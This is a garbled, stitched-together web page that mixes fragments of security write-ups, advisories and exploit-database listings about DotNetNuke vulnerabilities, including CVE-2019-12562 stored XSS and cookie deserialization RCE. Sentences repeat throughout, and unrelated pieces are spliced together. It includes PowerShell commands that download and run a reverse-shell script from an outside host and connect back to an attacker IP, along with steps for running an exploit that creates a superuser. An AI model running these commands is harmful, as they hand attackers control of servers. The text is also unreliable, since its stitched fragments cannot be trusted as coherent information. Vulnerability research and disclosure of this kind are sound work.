You can explore the exploit from our Github repository. Your email address will not be published. Running the exploit if the target vulnerable, the exploit will register a dummy user with XSS attached in the field "Display Name" and you will get payload.js. DotNetNuke before 4.8.2, during installation or upgrade, does not warn the administrator when the default (1) ValidationKey and (2) DecryptionKey values cannot be modified in the web.config file, which allows remote attackers to bypass intended access restrictions by using the default keys. As we can see, there are requests from the target to our lab server. select versions of DotNetNuke.Web. The exploit could be used to perfom any action with admin privileges such as managing content, adding users, uploading backdoors to the server, etc. 01/21/2019 - Issue discovered, exploit developed and tested 02/05/2019 - Contact established with developer, details of vulnerability sent 02/07/2019 - Developer pushed fixes to Github 02/07/2019 - Fixes for issue were tested and confirmed to be fixed 02/09/2019 - Official 3.3.7.0 release was done on Github 03/28/2019 - Public disclosure. PWK PEN-200 ; ETBD PEN-300 ; AWAE WEB-300 ; WiFu PEN-210 ; Stats. DotNetNuke 9.3.2 - Cross-Site Scripting.. webapps exploit for Multiple platform Exploit Database Exploits. Severity CVSS Version 3.x CVSS Version 2.0. # Exploit Condition : Successful exploitation occurs when an admin user visits a notification page. [DotNetNuke (DNN)] [XSS to bypass CSRF protection to RCE] [CVE-2019-12562] ปล่อย exploit code และอธิบายช่องโหว่ของ CMS ที่บริษัททั่วโลก ใช้ในงานธุรกิจกว่า 750,000 … DotNetNuke (DNN) is an open-source Web Application Framework used to create and deploy websites. CVE-2019-12043: there is a ... DotNetNuke (DNN) has a cross-site scripting vulnerability before versions 9.4.0 which is allowing remote attackers to store and embed malicious script into the admin notification page. What is DotNetNuke Used For? The main problem is in the field “Display Name” that didn’t validate the value properly before attached to the web page. Base … Stats. After this issue is fully addressed on your own site, our team strongly recommends that you review the host SuperUser accounts page within your DNN admin dashboard to ensure there are no unauthorized accounts on your site. PWK Penetration Testing with Kali ; AWAE Advanced Web Attacks ; WiFu Wireless Attacks ; Offsec Resources. I just want to add to this, that DotNetNuke corporation, right or wrong, asks that people not publicly discuss exploit details if known, as it exposes the wide community to greater risk. Papers. Once the exploit was discovered, it was reported to the DNN Software Security Department, who promptly fixed the vulnerability and released a patch in the 9.4.0 latest released. Average Rating. The exploit abuses a Stored Cross-Site Scripting vulnerability in DotNetNuke, specifically an admin notification component. Glitch Witch Security. Chris Hammond 22,957 views In October 2018 I started doing some research into DotNetNuke vulnerabilities for an engagement and came across this talk. How to exploit the DotNetNuke Cookie Deserialization. LTD. DNN9 Series Video 1 - Installing IIS, Visual Studio 2017 and SQL Server 2016 Express - Duration: 9:18. Vulnerabilities How to exploit the PHAR Deserialization Vulnerability. Comments are provided by Disqus. webapps exploit for Multiple platform Exploit Database Exploits. Sploitus | Exploit & Hacktool Search Engine | DotNetNuke < 9.4.0 - Cross-Site Scripting CVE-2019-12562 Next we drop the entire ysoserial.net payload into the DNNPersonalization= portion of the cookie, taking care to add a semi-colon at the end. DNN9 Series Video 1 - Installing IIS, Visual Studio 2017 and SQL Server 2016 Express - Duration: 9:18. The exploit could be used to perfom any action with admin privileges such as managing content, adding users, uploading backdoors to the server, etc. The Security Task Force then issues a security bulletin via DNN security forum posts and, where judged necessary, email. Affected Versions DNN Platform Versions 5.0.0 through 9.6.0 Acknowledgements The DNN Community thanks the following for identifying the issue and/or working with us to help protect Users Robbert Bosker of DotControl Digital Creatives Related CVE: CVE-2019-19790 (2020-02) - A number of older JavaScript libraries have been updated, closing multiple individual security notices. 02/13/2019 CVE-2019-5911 Untrusted search path vulnerability in the installer of UNLHA32.DLL (UNLHA32.DLL for Win32 Ver 2.67.1.2 and earlier) allows an attacker to gain privileges via a Trojan horse DLL in an unspecified directory. DNN Platform (DotNetNuke): DNN Platform, formerly called DotNetNuke Community Edition, is a free, open source content management system ( CMS ). 25 Sept 2019 — Requested DNN to share any update. Notice that DotNetNuke (DNN) version is 09.03.02 (24). by Alexandru Postolache May 29, 2020. by Alexandru Postolache May 29, 2020. The exploit could be used to perfom any action with admin privileges such as managing content, adding users, uploading backdoors to the server, etc. Online Training . We recommended to update the version to DotNetNuke (DNN) v9.4.0 latest released which include all fixes. DNN is the largest and most popular open source CMS on the Microsoft ASP.NET stack. I still needed to get RCE working outside of the FileSystemUtils class, and only had this exploit that had been seen in the wild in a campaign dubbed “Zealot”. The exploit could be used to perfom any action with admin privileges such as managing content, adding users, uploading backdoors to the server, etc. The success of this exploit occurs when an admin user visits a notification page with stored cross-site scripting. Shellcodes. DNT: 1 In May 2019, MAYASEVEN Researchers identified a vulnerability in DotNetNuke (DNN), an open-source web content management system and web application framework based on Microsoft .NET. As a content management system and web application framework, DNN can help you build nearly anything online, and can even integrate with mobile apps and any other system. Blog. The version of DNN Platform (formerly DotNetNuke) running on the remote host is 5.2.0 or later but prior to 9.1.1. The Return of the WIZard: RCE in Exim A look at CVE-2019-10149, RCE in Exim 14 JUN 2019 - 7 MINUTE READ exploits notes. In the register page, we found the field “Display Name” that could be displayed in the admin notification page when the user registered the account. CVE-2019-3726 CONFIRM: dnn_software -- dotnetnuke: Stored Cross-Site Scripting in DotNetNuke (DNN) Version before 9.4.0 allows remote attackers to store and embed the malicious script into the admin notification page. A closer look at CVE-2019-10149 detailing how to exploit it and how to set up a vulnerable test environment. The default web.config files distributed with DNN include an embedded Machine Key value (both ValidationKey and DecryptionKey). User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/69.0.3497.81 Chrome/69.0.3497.81 Safari/537.36 Successful exploitation occurs when an admin user visits a notification page with stored cross-site scripting. Successful exploitation occurs when an admin user visits a notification page with stored cross-site scripting. Then we visit a 404 page on our test site to generate the needed cookie. DNN (formerly DotNetNuke) through 9.4.4 allows XSS (issue 1 of 2). The version of DNN Platform (formerly DotNetNuke) running on the remote host is 7.0.0 or later but prior to 9.3.1. The attacker could create a malicious script to do anything in the admin component. After some trial and error, and a nudge from pwntester, I was able to create a reliable exploit by generating a payload with ysoserial.net using the ObjectStateFormatter as part of the TypeConfuseDelegate gadget and dropping the base64 output into the wrapper used by the Zealot campaign. Finally, we cloud log in as superuser and fully compromise the target website. CVE-2019-1301 On 13 March 2018 The Black Hat 2017 talk Friday the 13th: JSON Attacks was uploaded, in which @pwntester showed off Proof of Concept code for CVE-2017-9822, a Remote Code Execution vulnerability that affects DotNetNuke (DNN) versions 5.0.0 up to 9.1.0. We recommended to update the version to DotNetNuke (DNN) v9.4.0 latest released which include all fixes. The rating of DotNetNuke is 3.8 stars out of 5. CVE-2019-12562: There is stored cross-site scripting vulnerability in DotNetNuke (DNN) versions before 9.4.0, allowing attackers to store and embed malicious script into the administration notification page. 11 en parlent. About Exploit-DB Exploit-DB History FAQ Search. DNN Platform (DotNetNuke): DNN Platform, formerly called DotNetNuke Community Edition, is a free, open source content management system ( CMS ). Accept-Encoding: gzip, deflate Shellcodes. However at the time the only form the code was shared in was in the video and PDF of the slides. Stored Cross-Site Scripting is the most dangerous type of Cross-Site Scripting. Reading Time: 10 minutes We looked at around 300 DotNetNuke deployments in the wild and discovered that one in five installations was vulnerable to CVE-2017-9822. In the example above we use curl to download and later execute a powershell file. "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe curl http://justtesting.local/rcetest", "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe curl http://spookyhacker.glitchwitch.io/reverseshell.ps1 -O C:\Users\Public\totallylegit.ps1; C:\Users\Public\totallylegit.ps1", "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.13.37 -Port 1337", Host: www.vulnerable.host How to exploit the DotNetNuke Cookie Deserialization Author ... DotNetNuke is a free and open-source web CMS (content management system) written in C# and based on the .NET framework. The resulting request will ultimately look like this. Overview. Required fields are marked *, © 2020 MAYASEVEN PTE. The forDNN.UsersExportImport module before 1.2.0 for DNN (formerly DotNetNuke) allows an unprivileged user to import (create) new users with Administrator privileges, as demonstrated by Roles="Administrators" in XML or CSV data. DotNetNuke is an award-winning cloud-based Data Management software, it is designed to support small, medium and large size business. Search EDB . If admin login to the web application and open the notification, the injected script will be executed. The exploit only works against older versions of DotNetNuke (DNN) <= v9.3.2. GET CERTIFIED. Then you have to place the payload.js file to your web server for waiting connection from targeted admin. In this example we will generate a payload that downloads and executes samratashok’s Invoke-PowerShellTcp to start a reverse shell. Actionable vulnerability intelligence; Over 30.000 software vendors monitored; API access to vulnerability intelligence data feeds; Subscribe from 30 €/month Request a demo. GHDB. Timeline. Submissions. 23 CVE-2008-6399: 264: 2009-03-05: 2009-03-06 The DLL is often bundled with open source components e.g. Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the Display Name field in the admin notification function. Chris Hammond 22,957 views At this point I had a way to generate a functional exploit and continued on my engagement. For example, manage any content, add the users, upload backdoors to the server, etc. CVE-2019-1301: .NET Core suffers from a denial of service vulnerability when it improperly handles web requests. CVE-2019-12562 Summary: Stored Cross-Site Scripting in DotNetNuke (DNN) Version before 9.4.0 allows remote attackers to store and embed the malicious script into the admin notification page. 2019-09-26 – Published a blog about POC, Your email address will not be published. We can replace the command after the -C flag with whatever suites your needs. [+] 漏洞检测 Ladon POC Moudle CVE-2019-11043 (PHP-FPM + Ngnix) [+] 漏洞利用 cve-2019-0604 SharePoint RCE exploit [+] 漏洞利用 K8_JbossExp.exe Jboss Jmx-console exploit [+] 漏洞利用 K8 DotNetNuke DNNspot Store =3.0 GetShell exploit.rar [+] 漏洞利用 CVE-2018-2628 Weblogic GetShell EXPLOIT [+] 漏洞利用 ColdFusion 8 LFI EXP 184/155 Forum Tower Building, 25th Floor, Ratchadaphisek Road, Huaikhwang Sub-District, Huaikhwang District, Bangkok, 10310, Thailand, We use cookies to ensure that we give you the best experience on our website. On 06 June 2019 Qualys disclosed a remote command execution vulnerability that affects exim … MAYASEVEN PTE. Pentest-Tools.com is an online platform for Penetration Testing which allows you to easily perform Website Pentesting, Network Pen Test and Recon. The version of DNN installed on the remote host is affected by multiple vulnerabilities : An unspecified cross-site scripting vulnerability exists due to a failure to properly sanitize content used by the tabs control. At this point I had a way to generate a functional exploit and continued on my engagement. More than 2,000 organizations worldwide rely on DNN to fuel their businesses. It is, therefore, affected by multiple vulnerabilities including the following: An unauthorized file access vulnerability exists due to insufficient verification of dynamic file types. eLearnSecurity Certified eXploit Developer (eCXD) Review October 29, 2019 [Write-up] Volgmer Thailand CTF 2019 September 30, 2019 [Write-up] Bypassing Custom Stack Canary {TCSD CTF} September 29, 2019 [CVE-2019-12562] Stored Cross-Site Scripting in DotNetNuke (DNN) Version before 9.4.0 September 27, 2019 … SearchSploit Manual. We submitted the username and password to the website. Now that the plugin is functional, we can generate payloads directly from ysoserial.net without the need to combine two different pieces as I did before. Information Security Services, News, Files, Tools, Exploits, Advisories and Whitepapers python3 CVE-2019-12562.py You have to serve the webserver and place payload.js on it for waiting for admin connection. 68 Circular Road, #02-01, 049422, Singapore, MAYASEVEN CO., LTD. We looked at around 300 DotNetNuke deployments in the wild and discovered that one in… Read more. Later edit [June 11, 2020]: As part of this research, we discovered a Remote Code Execution vulnerability exploitable through DNN Cookie Deserialization in one of the … 2019-05-28 – Research team report the issue to DNN Software Security Department The web application that allows users to store data is potentially exposed to this type of attack. 01/21/2019 - Issue discovered, exploit developed and tested 02/05/2019 - Contact established with developer, details of vulnerability sent 02/07/2019 - Developer pushed fixes to Github 02/07/2019 - Fixes for issue were tested and confirmed to be fixed 02/09/2019 - Official 3.3.7.0 release was done on Github 03/28/2019 - Public disclosure. # Exploit Author: MAYASEVEN # CVE : CVE-2019-12562 Successful exploitation occurs when an admin user has visited a notification page. The exploit could be used to perfom any action with admin privileges such as managing content, adding users, uploading backdoors to the server, etc. Running the exploit if the target vulnerable, the exploit will register a dummy user with XSS attached in the field "Display Name" and you will get payload.js. The script is completely injected in the field. The exploit could be used to perfom any action with admin privileges such as managing content, adding users, uploading backdoors to the server, etc. by Cristian Cornea June 10, 2020. by Cristian Cornea June 10, 2020. Sep 19, 2019. Successful exploitation will create a payload.js file, which is a script create a superuser. In May 2019, MAYASEVEN Researchers identified a vulnerability in DotNetNuke (DNN), an open-source web content management system and web application framework based on Microsoft .NET. 2019. Save my name, email, and website in this browser for the next time I comment. CVE-2019-3726 CONFIRM: dnn_software -- dotnetnuke: Stored Cross-Site Scripting in DotNetNuke (DNN) Version before 9.4.0 allows remote attackers to store and embed the malicious script into the admin notification page. La base de données de vulnérabilité numéro 1 dans le monde entier. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 The exploit abuses a Stored Cross-Site Scripting vulnerability in DotNetNuke, specifically an admin notification component. python -m SimpleHTTPServer 1337 The exploit could be used to perfom any action with admin privileges such as managing content, adding users, uploading backdoors to the server, etc. Description The version of DNN Platform (formerly DotNetNuke) running on the remote host is affected by multiple vulnerabilities : - A flaw exists due to improper validation of user permissions. It is so popular and so widely used across the Internet because you can deploy a DNN web instance in … About Blog Reports Services Contact. More than 2,000 organizations worldwide rely on DNN to fuel their businesses. For real-world attack demonstration, we created an automate exploitation of DotNetNuke CMS by using python 3. It is, therefore, affected by multiple vulnerabilities : - A remote code execution vulnerability exists due to insecure use of web cookies to identify users. # Exploit Title: Stored Cross-Site Scripting in DotNetNuke (DNN) Version before 9.4.0 # Exploit Description : This exploit will add a superuser to target DNN website. We could inject a javascript in this field “Display Name” to exploit the vulnerability. python3 CVE-2019-12562.py You have to serve the webserver and place payload.js on it for waiting for admin connection. Installing DotNetNuke using SQL Server 2005 / 2008 / 2008R2 / 2012 or Express edition with attached database . It is, therefore, affected by multiple vulnerabilities : - A remote code execution vulnerability exists due to insecure use of web cookies to identify users. The version of DNN Platform (formerly DotNetNuke) running on the remote host is 6.0.0 or later but prior or equal to 9.3.2. About Us. After some trial and error, and a nudge from pwntester, I was able to create a reliable exploit by generating a payload with ysoserial.net using the ObjectStateFormatter as part of the TypeConfuseDelegate gadget and dropping the base64 output into the wrapper used by the Zealot campaign. DotNetNuke.Core is a references provider to the DotNetNuke.dll to develop extensions for the DNN Platform.. By taking advantage of this critical vulnerability, rogue attackers are able to essentially use an exploit to create their own SuperUser accounts on a DNN Installation. The exploit only works against older versions of DotNetNuke (DNN) <= v9.3.2. Submissions. CVE-2019-12562 . Papers. DotNetNuke.SQL.Database.Administration.Authentication.Bypass Description This indicates an attack attempt to exploit an Authentication Bypass vulnerability in DotNetNuke. [+] 漏洞检测 Ladon POC Moudle CVE-2019-11043 (PHP-FPM + Ngnix) [+] 漏洞利用 cve-2019-0604 SharePoint RCE exploit [+] 漏洞利用 K8_JbossExp.exe Jboss Jmx-console exploit [+] 漏洞利用 K8 DotNetNuke DNNspot Store =3.0 GetShell exploit.rar [+] 漏洞利用 CVE-2018-2628 Weblogic GetShell EXPLOIT [+] 漏洞利用 ColdFusion 8 LFI EXP On 06 June 2019 Qualys disclosed a remote command execution vulnerability that affects exim versions … CVE-2019-12562 CWE-79 Stored Cross-Site Scripting in DotNetNuke (DNN) Version before 9.4.0 allows remote attackers to store and embed the malicious script into the admin notification page. 2019-06 (Low) Possible Stored Cross-Site Scripting (XSS) Execution Published: 11/22/2019 ... Low means the issue is very difficult to exploit or has a limited potential impact. GHDB. 2019-09-13 – Request to publish the vulnerability 18 Jul 2019 — First technical report sent to DNN (security@dnnsoftware.com). 22 Jul 2019 — As per request, additional PoC details sent to DNN. According to them, over 750,000 organizations deployed web platforms powered by DotNetNuke worldwide. The exploit could be used to perfom any action with admin privileges such as managing content, adding users, uploading backdoors to the server, etc. To respect user privacy and reduce page size, Disqus is only loaded on user prompt. Patch: Description: DotNetNuke – Cookie Deserialization Remote Code Execution (Metasploit) Published: Thu, 16 Apr 2020 00:00:00 +0000 Source: EXPLOIT-DB.COM Successful exploitation occurs when an admin user … We evaluated the severity score by using the CVSS score, and the result is Critical (9.6). Patch: Synopsis The remote web server contains an ASP.NET application that is affected by multiple vulnerabilities. Featured vulnerabilities more vulnerabilities. This exploit could use to do any action in the admin privilege. Cookie: dnn_IsMobile=False;DNNPersonalization=
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